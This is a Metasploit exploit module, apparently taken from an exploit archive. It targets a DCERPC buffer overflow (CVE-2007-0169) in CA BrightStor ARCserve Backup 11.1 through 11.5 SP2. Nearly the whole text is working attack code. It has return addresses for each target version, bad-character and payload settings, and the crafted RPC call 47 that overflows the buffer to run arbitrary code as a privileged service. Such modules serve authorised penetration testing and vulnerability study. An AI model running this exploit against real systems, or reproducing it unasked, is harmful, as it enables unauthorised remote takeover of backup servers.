CA BrightStor ARCserve Message Engine Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::DCERPC  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'CA BrightStor ARCserve Message Engine Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup  
11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow  
the buffer and execute arbitrary code.  
},  
'Author' => [ 'MC', 'patrick' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2007-0169' ],  
[ 'OSVDB', '31318' ],  
[ 'BID', '22005' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x23805d10 } ], #p/p/r cheyprod.dll 07/21/2004  
[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ],  
[ 'BrightStor ARCserve r11.5 SP2', { 'Ret' => 0x2380a47d } ],  
],  
'DisclosureDate' => 'Jan 11 2007',  
'DefaultTarget' => 1))  
  
register_options([ Opt::RPORT(6503) ], self.class)   
end  
  
def exploit  
connect  
  
handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])   
print_status("Binding to #{handle} ...")  
  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
filler = rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V')  
  
sploit = NDR.string(filler + payload.encoded + "\x00") + NDR.long(0)   
  
print_status("Trying target #{target.name}...")  
  
begin  
dcerpc_call(47, sploit)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
end  
  
handler  
disconnect  
end  
  
end  
`